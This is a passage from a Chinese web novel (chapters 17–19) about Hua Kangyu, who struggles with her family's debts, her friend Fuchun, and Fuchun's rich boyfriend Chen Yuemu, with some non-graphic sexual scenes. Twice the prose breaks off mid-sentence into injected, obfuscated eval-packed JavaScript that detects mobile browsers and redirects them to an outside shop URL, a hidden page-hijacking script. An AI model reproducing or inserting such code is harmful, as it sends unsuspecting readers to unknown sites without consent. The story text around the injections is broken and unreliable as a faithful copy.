年少时的感情大多无疾而终,花康宇清楚这份情感最终的结果。只是情绪不由理智掌控,每天千百遍告诫自己专心学业最后还是在教室见到人的刹那间羞怯低下头。 为了不让自己无节制的胡思乱想,她把情感都寄托在小说上。每晚到了入睡的时间就偷偷打手电躲在被窝编织属于自己的绮丽美梦。 * “我们实干进取!在变革中成长……” 车间外准备上工的工人正在打鸡血喊口号。起床,上工,回宿舍。来到这里就别奢望再拥有梦想,资本会把人的每一寸骨血压榨到极致。 “X你妈,能干就干不能干滚蛋……” 每天清晨从一顿臭骂开始一天的工作。 花康宇松松脚踝做放松,准备迎接接下来连续十二小时的高强度作业。 她原来在测试岗,属于流水线上相对轻松的环节,刚来时不懂规矩,替工友出头得罪线长后被调到组装。 车间为了降本增效提高工人注意力,很多工位是站着干活,所以做这种流水线既是拼脑力也是拼体力。 “晚上哥请你吃烧烤。” “滚。” 旁边厂弟趁线长不在找花康宇搭话。工厂年轻壮劳力多,很多人来这不仅为赚钱也为了找个对象。等这波单子赶完,厂子大裁员的时候正好拿钱带对象回家结婚。 花康宇没有一点谈恋爱的心思。 她这辈子不会再有了,她所有的感情已经在高三那年被尽数扼杀,人生在高三那年跳针,一直重复无望的旋律。 姥姥发现了她的异常,趁她洗漱的时候在枕头底下找到那本小说。老太太直接拿起作文本揪着她冲到学校。 花康宇还记得那天早上姥姥直接把她拽到办公室。 老人开口闭口读书,前途,和班主任一直聊到准备上课。办公室门外都是人,她的小说在办公室里被老师们挨个翻阅。 花康宇的汗直直滴在地砖上,还有老师调侃她是不是发烧了。 “她就是发骚!” 姥姥的话让周围人大笑,门外站满了看热闹的学生。 花康宇抬眼看着门口几乎眩晕,所有熟悉的面孔都站在外面,还有那个被她写进小说的男生。她哽咽着:“姥姥,我错了。” “临高考啦,搞这些不三不四!” 上课铃响,打断了热闹。小说早不知流到谁手上,她想要回却被赶去上课。 老师们看完随手丢在窗口,一转眼的功夫本子就不见了。 “先回去上课,一会再找。” “找什么找!你还没写够?”姥姥指着她骂,高高的颧骨上皱出层叠纹路,像被两坨被揉皱的废纸。 花康宇百口莫辩,听着窸窸窣窣的笑声翕动苍白双唇。 周二上午第一节是她最喜欢的语文课,花康宇没去上,她第一次逃课。 17. 烤洋芋 天蒙蒙亮,花康宇在闹钟响之前睁眼。她醒得很安静,仅仅是眼睛睁开,一点动静都没有。身旁的人动了动,轻轻掀开被子坐起来,背对她坐在床边。姥姥也醒了。 那件事后花康宇就被姥姥要求一起睡,每晚十一点准时上床。 天气乍暖还寒,这时候的北江依旧冷得人牙齿打颤。早上起来有穿不完的衣服,一层又一层。老太太动作很小心,猫着腰,平稳又迅速地套上毛衣毛裤,然后抓起宽大的羽绒外套悄悄推门出去。 六点,闹钟响了。 花康宇坐起来穿衣服。书包前一晚整理好,她打开又检查一遍然后出门洗脸。 姥姥正在院里架锅做饭,白烟从锅盖缝隙冒出,上面放着盒装牛奶顺便加热。 “兜子别忘了拿走。” 旁边塑料袋放着六盒牛奶,在学校六天,每天一盒。 父母出事以后姥姥开始让她住校,每周回来一天换洗脏衣服。 花康宇洗完脸,直接掀开锅盖去拿里面吃剩的半个馍。 “没热透。” “要迟到了。” 姥姥没再说,进屋把书包拿出来给她背上,“早饭路上吃,早点去学校。” “嗯。” 她拎着行李,跨过薄木板走出小道。 上周讨债的找上门。人本来想进屋,让街坊邻里拦住给带去村长那谈话。谈了一下午姥姥跟村里预支分红先还上一部分,等回到家发现门前让俩小喽啰刨了个大坑。 坑刨得深,盖回去费点功夫。老太太还要种地没时间管,只能先找块破木板将就。 花康宇小跑到公交站抱着行李挤上车。大清早车里满满当当全部是准备上学的学生,她被挤在过道中间,两边抓手都被占满。车子一个颠簸让她差点摔出去,等下了车快走到学校才发现袋子拉链从中间爆开,不见了原本塞在里面的钱。 那是花康宇半个月的饭钱。她蹲在地上把袋子来来回回翻找。衣服抱在腿上快要溢出来。校门口人来人往,她已经无暇顾忌,直到铃声打响才满头汗匆匆进教室。 学校两周的饭钱是七十二,她一下子掉了五十。 * 中午,陈悦目回家,在楼道里撞见福春。 “你不是下午才回来吗?” “穿这什么玩意?” 陈悦目上下扫量,见她穿着女仆装,还带顶假发扎了双马尾,远远一看差点没敢认,“干吗呢?” “拍视频。” 福春把音乐关了,陈悦目不准她在家里拍东西,她只好跑到楼道拍,手机从支架上拿下来被她悄悄藏到身后。 “手机藏后面干什么?” “没有啊。” “给我看看。” “不给。” “我伸手掏了!” 福春把手机塞进胸罩,陈悦目作势伸手要掏,见他过来她迅速向旁躲开跑到隔壁门前威胁道:“再过来我要喊人了,耍流氓啦!” 这点小打小闹陈悦目权当情趣。 “喊!”他抱手站那看笑话,“使劲拍门,把里面的人喊出来。” 福春让喊就喊,咣咣拍门,拍半天没人应门才发觉上当:“隔壁没人啊!” “我又没说隔壁有人。” “你耍我。” 陈悦目走到门口,动作流畅在门锁上按下密码,随后推开门倚在旁边轻笑。 屋子里空荡荡什么也没有。 “你把这间也租下来了?”福春走进去东张西望。 “嗯。” “租下来空着?” “嗯。” “太能霍霍钱了,也不怕天打雷劈。” “租几间房子怎么就天打雷劈?” “几间?”她惊讶,难以理解这种租房子玩的乐趣,“你还租了几间呀!?” “这破楼的墙跟纸糊一样,把上下左右都租下来就清净了。” 开始是不想别人打扰,后来是为了和别人互不打扰。 “你租好一点的地方不就得了?” 陈悦目说:“我就喜欢这。”离学校近,离家远。 “那你在自己屋子装隔音呀!” 他看白痴一样的眼神反问:“我费那事干吗?花钱把人都赶出去多省心。”有钱人的快乐就是用钱做不合常理但满足需求的事,他们追求的不是我要而是我能。 “脱裤子放屁。” 钱能买自由,钱能买快乐,钱能买到自己想要的人生。有钱脚下的路四通八达。福春在屋里转悠,环视四周不咸不淡道:“有钱真好。” 嘭地,身后的门关上。她猛地回头,见陈悦目站在门口晃了晃手机。屏幕上是福春的抖音账号,正在放她刚发的视频。 “行啊你,现在都开始穿女仆装拍擦边了。” 福春不当回事,哼起歌在他面前转了一圈问:“好看吗?” “这么想叫人看?”屋子没人住没有家具格外空旷,说句话都带着回音,给本就不悦的问句又添几分刻薄。 陈悦目走上前将她挤到墙边,双手撑在墙上把人困住:“就喜欢让别人看你穿成这样是吧?” 他干燥的指腹碾过福春皮肤,划出情欲的火苗。福春大腿被抬起勾在陈悦目腰侧。 两人靠近,陈悦目贴着人耳边说:“我们还没试过在外面。” “你行吗你?” “先担心你自己吧!” 天气很好,适合做点快乐的事。 陈悦目自诩花匠,在滋养福春的过程中也浇灌了自己,慢慢像个人一样有了血肉,生出七情六欲。他的呼吸喷洒在福春肩头,身体里那股余韵在回荡,快乐的事还想和她做很多很多。 “回家。” “我不想回家。” 陈悦目吻上福春脖子,含住她耳垂:“还想在这?” 福春推开他,反手把拉链提上。廉价的裙子搓一搓就皱成梅干菜,她拍打裙摆,试图把皱褶抚平。 拉链刚拉好又被扯开,陈悦目没过瘾,压上去把手滑进后面贪婪地抚摸福春温热细腻的后背。 “我还要拍视频呢。” “不准拍,要拍只能拍给我看。” “凭什么?别挡着我赚钱!”福春有些生气,推开他不耐烦抻平皱褶,“我要当网红赚大钱。” “不害臊,拍擦边当网红,你当的哪门子网红?”陈悦目把她衣服上的蝴蝶结扯开漫不经心说,“你们这种人赚大钱都是要付出代价的。” 话说完久久没有回应,陈悦目察觉自己说的过分了便转而问福春:“赚那么多钱干什么?我的钱不够你花?” 福春摇头,语气认真道:“不够,我要赚好多钱给小语还债。” * “小宇,吃饭去呀?”中午放学,同学拿着饭盒准备去打饭,三三两两站在门口喊花康宇。 她摇摇头,直接抱着书回宿舍。 二十块分成十二天花,每天就吃中午那顿,熬到最后一天她身上一分钱不剩。花康宇只能忍到下晚自习回家再找点吃的。 食堂的饭香一阵一阵飘进窗子。花康宇一边写作业一边擦眼泪。 她饿得头昏眼花,卷子上的第一题读了三遍还是读不明白。 “小语?花康宇?”窗外猫叫似的喊声把花康宇吓一跳,一颗绿油油的脑袋突然冒出窗前。她看清来人,白她一眼没好气问:“你来干嘛?” 福春摸摸自己的刘海,得意地问花康宇:“猜我这头花多少钱染的?” “不知道。”花康宇根本不想理她,傻了吧唧一天天的满大街喊她名字套近乎,就为了跟她妈摊前讨一口热洋芋,这辈子没见过这么馋的人。 “你猜一下呀,啊?” 花康宇啧一声,放下笔瞪她:“你咋进来的?学校不让外人进来。” “中午门卫不在,我就这样走进来的。哎我告诉你我染头发一分钱没花。”福春兴高采烈对她说,“发廊拉一个立减二十,我就把我们班全拉过去了。” 花康宇想到老师一上课看见一个班全是五彩斑斓的毛憋不住笑出声,笑完又板起脸拿着笔去戳攀在窗上的手,“我要学习你别打扰我。” “我一会就走。” “赶紧走。” “你是不是饿了?”福春笑眯眯的,那模样看得人火气直往脑袋上窜。花康宇就算快饿死也绝对不会在福春面前承认。 “饱着呢。” “骗谁呀,你嘴上都没油,一看就没去食堂吃饭。” “啧,早上吃多了不行吗?”她说完肚子咕地响一声,福春在窗外哈哈直乐。 花康宇红着脸,心里的窝囊气冲嗓子眼冒,酸酸涩涩的。她低下头开始狠狠写作业,任凭福春在窗外叫了她好几声也不回应。 外面窸窸窣窣动静不断,过了一阵飘进来一股焦香味。 “猜猜我给你带什么好吃的?” 花康宇现在根本不饿,托这绿毛龟的福,她胃里全是气。 “锵锵,烤洋芋加了好多辣子,香吧?”福春把塑料碗举高递到窗前,手轻轻地把塑料袋压下,让香味散得更盛。 阳光照耀下土豆金灿灿裹着鲜艳的红。风吹进焦香也把血淋淋的辣椒面吹到花康宇脸上。 她盯着那碗冒热气的烤洋芋瞬间红了眼,愤怒像巨浪一般在体内翻腾。 那天,她爸妈就是去摆摊路上出了意外。 “滚——” 花康宇大吼,将碗掀翻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924115|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 土豆洒了福春一脑袋,绿毛上沾满辣椒面。都说红配绿赛狗屁,她这副蠢样从头顶望下去特别滑稽。 福春仰起头,哇一声大哭跑掉。 窗外的天还是那么蓝,大伙吃饱饭陆续回宿舍休息,成群结伴在路上欢声笑语。 花康宇捂住饿瘪的肚子,继续在草稿纸上写写画画。 丢钱的事她早跟朋友们说了,当时她们安慰她说会请她吃饭,真等到自己饿肚子的时候一个个都装没看见。 不怪他们,丢钱是自己的错。她和别人不一样,花康宇告诫自己。 人生的这场赛跑里她比别人多负重十倍,所以要比别人多付出十倍努力才能不落后。 “少吃一顿不会饿死。”她暗自发誓以后一定会自食其力,绝不欠别人一分一毫。 “花康宇。” 阳光让人眩晕,花康宇以为自己听错了。 “花康宇。” 她抬头,瞅见四根细细的手指头伸在窗前摇晃。 福春又回来了。 她抽噎着对花康宇说:“你自己买点喜欢吃的。” 说完扔下钱跑掉。 微风吹翻了钱在桌上打个滚,那张十块皱巴巴盖在试卷上,正好盖住第一题。 啪嗒。 * 天空掉下一滴雨。 下晚班后,花康宇从柜子里拿出手机。 福春发来微信,约她出去吃烧烤赔罪。她们打打闹闹这么些年,扯嗓子喊绝交数不清多少次,永远绝交永远下次还见。 “每次都这样。”花康宇边走边嘟囔,脱掉静电服搭在胳膊上顺手回个表情。 一个小小的OK顶上聊天界面,福春放下心找周公寻梦。 梦里她们四姐妹又在海边,脚穿进细沙又让海水脱去。她挽着晓柔和大姐,踩起水溅了花康宇一身被她追着打。 福春咯咯笑,动了动脑袋找到个更舒服的位置窝着。 “你在笑什么?”陈悦目问她。 福春迷迷糊糊,前言不搭后语:“我又梦见我们去海边……小语也许了愿望。” “你呢?你许了愿吗?” “许了。” 陈悦目侧身环抱她轻声引诱:“那福春的愿望是什么?” 怀里没有回应,福春沉沉睡去。 陈悦目亲吻她的眼眉,小心地把自己胳膊抽出来翻身下床。 福春身上有很多秘密,只能从她的朋友身上找到蛛丝马迹。 他打开抽屉,把台灯挪了个方向坐在书桌前翻看小说。 花康宇的字迹清晰工整,语句通顺逻辑严谨,偶有小地方做出修改也不影响阅读,比福春那篇狗血烂故事不知道强出几百倍。 故事娓娓道来,讲的是校园恋爱,成绩优异家境贫寒的女主角遇见了阳光温柔的转校生。两人因为体育课上无聊的纸飞机相识,彼此在最难熬的三年里互相鼓励。高考在即,恋情被老师发现,转校生也因为家中安排即将出国,两人约定在四年后相约来到当初见面的那棵大树下,如果还想在一起就带着纸飞机,如果身边已经有了别人那就坐下来叙叙旧。 四年后两人来到大树下,女主当年超常发挥考上理想学校,现在一边工作一边备战考研,男主成为明星运动员回国效力。两人在四年里都向着各自目标前进。他们两手空空坐在树下,回忆美好往事。 故事到这里戛然而止。按行文逻辑明显有很多钩子没填完。陈悦目猜想可能是当时小说被家长发现的缘故只能虎头蛇尾给个结局。文笔虽然青涩稚气,字里行间却有股灵气能勾着人耐心往下看,尤其是最后用快断水的蓝色墨水笔写下的一句话:“死的死去,活的活着,我坐在阴暗,风把太阳送来抚摸我的脸,世界照样满满的。” 无人需要惋惜,无物值得遗憾。 “有点意思。”陈悦目看着那句话,觉得给福春这个朋友拉拔一把也不是不行。 压得蚂蚁喘不过气的那块巨石对人来说不过骰子大小。 他恶劣地拍醒福春,在她半梦半醒时笑着说:“我想见你朋友。” “啊?哪个朋友?”福春睡眼惺忪,脑子一时转不过弯。 “脾气最臭的那个。” “哦,小语……行啊。”她说。 “你猜我为什么见她?” “爱上她了。” 陈悦目照着她屁股就是一巴掌。福春被彻底拍醒,坐起来顶着一头乱发赖唧唧冲旁边嚷嚷:“有完没完,碎嘴子就算了怎么还动手呢,我要睡觉!” “再给你一次机会。”陈悦目捏住她下巴凑近,“劝你对我客气点。” “凭什么?”福春忿忿问。 “如果我能帮她还债呢?” 18. 三分钟 “真的?!”福春惊诧,随即又摆摆手,“不行,我自己的事自己解决。” 她心知陈悦目不是省油的灯,以后有什么牵扯容易把其他人拖下水。这祸害要留着自己对付,不能让他去找姐妹们的麻烦。 “还挺有骨气。”修长有力的手指带挑逗意味捏住福春下巴晃了晃,陈悦目按住她的唇瓣凑近,调笑道:“那你自己赚的钱给她不就得了。” “什么意思?” “讨好榜一大哥不如花时间讨好我。用你的……”陈悦目一颗一颗解开她扣子,“赚钱,一下一百怎么样?” “我不是鸡。”福春严肃道,“我喜欢你才和你做这事。” “谁说你是了?”她的表白让陈悦目很高兴。在这种羞辱性的调侃中确定伴侣忠诚能带来满足和安全感,这是陈悦目擅长的,几乎是他的本能。 “用你的劳动和生产资料创造价值,做点我们两个都喜欢的事,两全其美。” 福春没有预想那样咋咋呼呼,沉默了一会她两眼睁得圆圆反问:“你为什么不卖?你花多少钱我就花多少钱。一份钱创造双倍价值,这才是两全其美。” “谁缺钱谁卖,我又不缺钱。” “没错,我缺钱。”她开拓思路,“那在你这赚了钱我也可以再找缺钱的便宜男人花掉。” 陈悦目垮下脸,“你缺的是钱吗?” 福春笑起来拍拍他,“吃醋了?我开玩笑呢!” “你敢找别人……”话说到这份上特别没意思,陈悦目兴致索然翻身躺下,身上没一会爬上两只手从衣摆摸进去。 “干吗,我要睡觉。” “来嘛!” “没兴趣。” “真的?我看看。” “别烦我。” “刚才还好好的。” 先爱上的总是在感情里占下风,陈悦目不服气,自己做不到游刃有余也不能叫福春好过。 “我不喜欢免费的,不如明码标价实在。” “你想好了?” “这话该我问你。” 他们躺在床上,双方都在琢磨,沉默给足了机会到最后一刻。 “还有这好事。”下一秒,福春开开心心骑他身上,“不许反悔,一百一下,我数着呢!” 这是一场搏斗。开始的莫名其妙,结束的糟糕透顶。 “这么快?” 陈悦目坐床边按手机,给福春微信转过去五万。 收到提示那一刻都把福春逗乐了,“少往你自个脸上贴金。” “哪有五百下,才三分钟!”她不死心扒拉人,“再来一次。” “来什么来,瓶盖抽奖呢?睡觉!”这场杀敌八十自损一千的斗争,陈悦目完全是搬起石头砸自己的脚。 他侧身窝在床边,被枕头连砸好几下。爱撩架又打不过,打完一副死样缩在被窝跟受了天大委屈似的,福春看见他火气蹭蹭往上冒。 “我说你只有三分钟了啊?我到处说你只有三分钟了啊!!” “爱跟谁说跟谁说。” “你又发什么疯?一天不跟我这炸刺你就不痛快,陈悦目你有病!” 陈悦目声音清冷:“想要就求我。” “我求个屁!”福春翻下床一跳一跳套裤子,一边穿一边骂陈悦目早泄,将来谁嫁给他谁倒霉。 “那我就娶你。” “做梦去吧,老娘找鸭都不找你这样的,我现在就去找鸭——” “那你去找!男的都这样都早泄!快去看看生物多样性,赶快去!” 福春穿好衣服又被拖回去。 “敢找别人就分手!” “分手就分手。” “你有病是不是,这么点破事就分手。” 话都给陈悦目说了,福春气得发疯,一脚踹在他腹肌上不过瘾又扑上去咬。 被子抖得像浪花,两人滚到一处,在床上翻涌几轮才算痛快,福春累得指头尖都在发颤。 “好好说话不行吗?非要气我。” 陈悦目仰头喘气,一翻身趴福春身上问:“咱俩刚为什么吵架来着?” * 「人要幸福一定要有钱,就这么简单。」 周末,福春带着陈悦目去找花康宇。 “这顿算我给你赔不是。” 夜里烧烤店坐满了人。桌子摆上人行道,前后左右都是熟面孔。吃完的签子就扔地下,石砖上一层厚厚的油渍,脚踩上去再抬起甚至能有胶一样的粘连感。 烟雾飘散围绕他们那桌,花康宇拍拍隔壁桌黄毛捻灭他的烟头。 福春抓两根肉串放陈悦目盘子里,和花康宇东拉西扯说起阮晓柔前一阵还在筹备婚礼,这阵突然又没消息。 “命运无常啊!” “是这么说的吗?褒贬义不会用啊?”花康宇戳戳手里铁签子纠正,“好事多磨。” “我没你有文化。” “装吧你就。” 福春挠挠头,赔笑脸恭维她:“你不上学可惜了。” 话题又绕到上次的事。 花康宇喝了点酒,人钝钝的,听福春这样讲也没发火,平静接话:“没那命,没啥可惜的。” 人生来不同,她拼尽全力也够不上别人随便动动脑。考前她做足万全准备,没病没痛,没意外,安安心心进考场,最后却连大专都考不上。 “咱四个里你学习最好,还考过年级前五十。”福春用筷子撸下几串炸豆皮一口塞嘴里,“你是读书的料。” 花康宇笑笑,转而抬起头问陈悦目:“你高考多少分?” 老板忙不过来,在前台写作业的小孩给他们端上来一盘烤板筋,陈悦目腾出地方随口回答:“忘了,670吧。” 周围欢闹声乍起,福春可乐呛进嗓子眼。她推陈悦目一把大声说:“看不出来啊!”这瞬间福春看他的眼神终于带了点光。 “至于吗?”陈悦目淡淡地又补一句,“发挥的一般。” “瞧——”指甲敲敲啤酒罐,花康宇睨着福春,“这就是差距。” 陈悦目就是她认知中的天之骄子,得天独厚,智商过人,稍微用心点便能无往不利,人生跟吃苦头三个字毫无关联。 啤酒还剩个底,她拿起来喝光捏扁。福春给她塑料杯又满上果汁接话:“跟他比干嘛?咱不当冒尖的,做个鸡头凤尾还不行吗?” “凤尾是我想做就能做的?”花康宇说着来气又要敲她脑袋看看里面装的是不是草。 夜晚的街空旷又热闹。 陈悦目干坐着一晚上,身旁的人除了刚才问成绩时拿正眼瞧他其余时间都用后脑勺来敷衍,给他的肉串末了还收回去自个吃了。 他现在见不得福春对别人比对他好,心胸狭隘如他,一定要当个搅屎棍让福春闹心。 陈悦目坐一旁静静听她们说话,摸清情况悠哉开口:“人也不是非要靠读书才能出人头地。” “听见没?” 福春转身一脚踹他凳子上,“陈悦目,不说话没人拿你当哑巴。” 陈悦目看她气急的样子高兴坏了,脸上淡然:“就事论事而已。” “你少在这挑事。” 福春抓起韭菜往他脸上扇,两人小学生打架,和着辣椒面的油沥沥啦啦淌在衣服上。陈悦目一边打一边不忘煽风点火:“聪明的人十五岁已经上大学,这时候让她回学校读书别是你一厢情愿吧?” “不够你聪明的人是不是没资格活着?”福春反驳,“你不了解她少在这放屁。” “你所看见的正是因为你想看见。福春,你真的了解她吗?” 打过去的手在空中停顿一下,福春很快又气势汹汹伸出去。 “别跟我掉书袋,我没文化听不懂!” 花康宇是喜欢读书的,也一定要去读书。 “够了!” 花康宇把韭菜抢过来放自己盘子,“你们要打回家打。” 笑闹声飘荡整条街,远远地听起来反而寂寥。周围陆续结账走人,喧闹过后三人静静坐在位子上。 “读书的事再考虑考虑。”福春拉住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954940|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拍胸脯保证,“钱我来想办法。” 陈悦目但笑不语。 缺钱的人对钱最敏感,空气里铜臭味都能吸进鼻子攒起来。 “有什么好考虑的?”花康宇嗅出陈悦目的嘲讽,她绝不再欠任何人的钱,“我家的事不需要外人插手。” “你不读书将来怎么办?” 花康宇也是想不到这话能从福春嘴里说出来,说的对象还是自己,能穿越回去她一定把这当笑话讲给大伙。 “管好你自己吧,一天天瞎管闲事。” “这怎么叫管闲事?”福春不满意,“花康宇我告诉你,让你读书是姥姥的心愿。” 花康宇拍桌子瞪眼,“汤春福胆肥了是不是?敢拿姥姥来压我!” 三天不打上房揭瓦,说的就是福春。稍微好声好气说两句话马上就骑你头上撒泼,比山里的野猴还难训。 福春马上认怂,拉拉她袖子嘟囔:“我这不是为你好。” “真为我好就别再说了。” “这事吧,姥姥也觉得……” “能别管那个死老太婆吗!” 吼声荡在街上。 花康宇垂下头看不见表情,只有呼吸一起一伏,短短的睫毛上有一点光亮,福春小心翼翼探手去摸。瞬间,那张脸又抬起,微醺的红晕从双颊蔓延到脖子,隐隐浮起青筋,木讷的脸终于有了点情绪。 “我为什么还要事事听她的,大字不识她懂个屁!” 有些事不细想还能将将就就过下去,她每天把自己累死就是为了不让脑海里动不动就再想为什么是她? 为什么她的路会走得那么艰难? 为什么是她的父母出事? 为什么是她家欠债? 为什么要跟姥姥住在一起? 到底是从哪个瞬间开始她的人生会变成这样?为什么她连喘口气的资格都没有! 她至今忘不了同学举着她的小说嘲笑。 高考临进考场前她又撞见了那个转校生,他靠在她耳边嘲弄:“呵,四年后我们要在学校的树下见面吗?” 花康宇大脑一片空白。 如果姥姥没有拿着作文本去学校找她,如果她没有出生在这个家…… 自己的人生早就被他们毁了,何必在墙上假惺惺画一条假路问她要不要走来恶心她? 她现在满脑子只有钱,活着就是为了还清父母的债。这些债是她的原罪,还清了下辈子就跟这家人没拖没欠。 “今天这局面是谁造成的,欠这么多钱跟我说回去上学是不是太可笑?嘴皮子上下一碰好人全让她当了。”她终于把一直憋在心里的话借着酒劲说出来。生活的重担把她和姥姥紧紧捆在一起,说没有一点怨言那是假的。 可已经这样还能怎么办? 陈悦目挪了挪面前羊肉串,一支小孩用的四色笔从盘子下滚出来溜到花康宇面前。 “……就这么着吧。”她拿起笔拍拍身后收拾桌子的小孩肩膀把笔还给他。 福春还想再说点什么,张着嘴,半天只能抬手拍拍她的肩膀。 * 「大部分人总是表里不一,他们做的往往并非他们内心真正渴望的。」 回程路上,福春突然开口:“真恨你们这些有钱人。” 陈悦目把音乐声关小,“你们又恨又想变成有钱人,这叫嫉妒。” “嫉妒就嫉妒。吃香喝辣还能要啥有啥,谁不想当有钱人?”福春躺在椅子上嘟囔,“都怪你,多管闲事!天天跑健身房也没见长多少肉,肌肉都练心眼子上了吧?” 陈悦目瞟一眼旁边,等车开上直路才说:“你才别多管闲事,就让她这样吧。” “嘶,我说你——” “她是成年人,不想做的事非要拿刀架她脖子上逼她吗?” 他明白花康宇的心境。那是一种无力感,既改变不了自己也改变不了环境,只能梗着脖子凑合下去。 “不能等啊!” “为什么不能等?” “因为,因为……” 19. 花康宇 烧烤摊的油烟味糊衣服上令人作呕,一回到家陈悦目把钥匙丢桌上,站在洗衣机前解衬衫。 “快点洗澡睡觉,你先洗还是我先?” 话音刚落,两只手从身后伸出来环抱住他腰身,陈悦目垂眸问:“一起洗吗?” 福春安静,只把头用力抵在陈悦目后背,灼热的手臂紧紧缠绕他小声开口:“一下一百,再给我四十五万,欠你四千五百下。” 她说到后来嗓子沙哑,最后那几个字气弱声嘶。 屋内寂静盘旋,陈悦目站着不动,眼睛沉得像坛墨。 “大晚上你别恶心我。” “求求你。” 这一步是福春最不想走的,“我有苦衷。” “什么苦衷?不就你那几个猪朋狗友吗?!”陈悦目拽开她,气得发疯,“帮不上就不帮,上赶着送钱人领你的情吗?贱骨头!” 福春不死心又去缠他,“我贱那也是我的事。你就一句话到底给不给?” 她扯住陈悦目的领子亲吻,大腿勾起摩擦他的西装裤。福春笃信两个色鬼之间没什么矛盾不能用性解决,吵翻天不过睡一觉的事,大不了就睡两次。这回她豁出去一定要把这笔钱要来,已经不能再等了。 “给我吧,嗯?”唇齿间缠绵,吻夹着嗔怨,“你不喜欢我了?” 她抓着他微凉的手解开自己胸前衣扣,眼睛不经意扫到对面冰冷视线又难堪地停下来。 “……拿钱买衣服行,吃喝玩乐也行,满大街乱撒都行!但是一分都不准给花康宇。”陈悦目推开人,把衬衫脱掉恶狠狠抽地上,转身去衣柜又拿一件干净的。 “你明明说过要帮她!” “我偏不让你称心。” 福春拦不住他,看着人走去玄关扯嗓子问:“你去哪?” “不用你管。” “你不借我我就去找别人借!” “去找别人。” 陈悦目甩上门离去。 * 夜里闷热黏湿,大雨之前四处泛着水汽。 陈悦目怒气冲冲走在街头,一肚子火混着胃中腥膻油腻叫他直犯恶心。他连口水也没来得及喝让福春气得又跑出来。 “臭东西,回去就甩了你。” 房子是他的,钱是他的,吃他的用他的还敢威胁他,他凭什么出来?简直反了天了。 深夜只剩便利店还在营业,陈悦目面色铁青走进去从冰柜里拿出一支矿泉水。 收银柜台飘来一股咸臭调料味,店员一边结账一边推销:“关东煮任选买四送一要来一份吗?” 福春就爱这股齁死人的味道。 “山猪吃不了细糠。” “啊?” 他回神,从口袋里掏出手机不耐烦说:“不用。” “谢谢下次光临!” 买完了水,陈悦目站在那没动。 外头响了几声闷雷,店门口灯光照亮黑夜里的毛毛雨。车钥匙丢在鞋柜上出门时没带,陈悦目没有用app开车锁的习惯,他划开手机来来回回翻找,无头苍蝇一样在雷声中走出店外。 “你好,水还要……”收银员悻悻把水收进台下,嘟囔一句神经病又重新戴上耳机。 福春呆靠在玄关,直到雷打响才回神起身。 她打开门和外面的人撞个正着,还没等开口陈悦目便一副捉奸的架势咄咄逼问:“你去哪?你出去干嘛?想去找谁?!” “啪嚓”惊雷乍响,暴雨狂拍整座城市。 走廊的灯倏地被脚步声踩亮,陈悦目跟被啄了屁股的鸡一样来回踱步。 楼道里雨声夹杂争吵。 “我说不给你了吗?我说不给你了吗!没良心的东西。” “我……” “我什么我,懒馋蠢贪!除了我哪个男的肯要你,养不熟的白眼狼。” “陈悦目,你别太过分。” “我过分?”陈悦目的嘴机关枪一样突突扫射,“我哪过分了供你吃供你住过分了还是让你跑出去疯玩过分了?” 他越说越气,看见福春站那没心没肺的样心里腾地生出一股委屈,嘴皮子已经不听使唤,倒豆似的把自己那点窝囊心思全数蹦出来。 “说过分谁比得上你,要的不给就翻脸说走就走,来来去去你就只念叨你自己那点破事,我到底算什么?你有没有一瞬间把我放心上!你……” 闪电划亮天际,焦灼的视线缠绕在潮湿空气中,好像无数细小电流爬过。迟来的雷鸣让两人清醒,他们面对面站着一言不发。 叮! 电梯开门。 电梯关门。 福春动了动,露出手中拿的两把伞。 走廊的灯灭了,看不清陈悦目脸上的表情。 只有雨声淅淅沥沥显得不尴不尬。 福春咳嗽两下,指着脑袋说:“你干脆打我一顿吧,来来……” 她傻不愣登用头去撞陈悦目,顶了两三下对方没动,两人又安静下来傻站着。 雨声小了,水滴打在窗框上凑成怪异音调从走廊尽头的窗跳进来。 “回家。” 陈悦目说完转身进屋。 * 隔日中午,福春带着五万去找花康宇。 “这五万你先拿着,剩下的我再想办法。” “拿回去!” “为啥不要?你赶紧拿去把钱还上。” “你哪来这么多钱?” “陈悦目给的。” “拿回去我不要。” 快到点上班,中午电子厂只有一小时休息,厂里的人陆陆续续返回,路过门口时朝两人投去奇怪目光。 福春拉住花康宇把装钱的信封塞进她怀中在耳边劝道:“傻呀你,拿回去把钱还上以后就没人催债了!” 花康宇怎么会不明白,她就是缺钱所以太明白了。 “到底谁傻?陈悦目脑子被门夹了给你送这么多钱?” 福春哎呦一声,见怪不怪:“这点钱对他们就是划拉下来的一根毛,屁都算不上。” 阳光下尘埃使空气变得粗粝,汗渗出皮肤流进干涸的嘴唇,汗水中的盐像细小的针磨进皮肉,花康宇张张口,嗓子发涩:“人家的一根毛就是我全家的命。” 她和姥姥起早贪黑也挣不到陈悦目随手一划拉的钱。有钱的越挥霍越有钱,穷的越折腾越穷。 “那你就拿着!矫情什么?” 花康宇猛地把信封推出去。 她穷还不至于把脑子穷丢了,“我还是那句话——天下没有免费的午餐,这钱要是收了将来他们动动汗毛就能要了我的命。” “要也要我的跟你没关系。” 拉扯中信封口被扯开掉出一沓钱,厂子外面风大嘶溜迅速散出去一片。 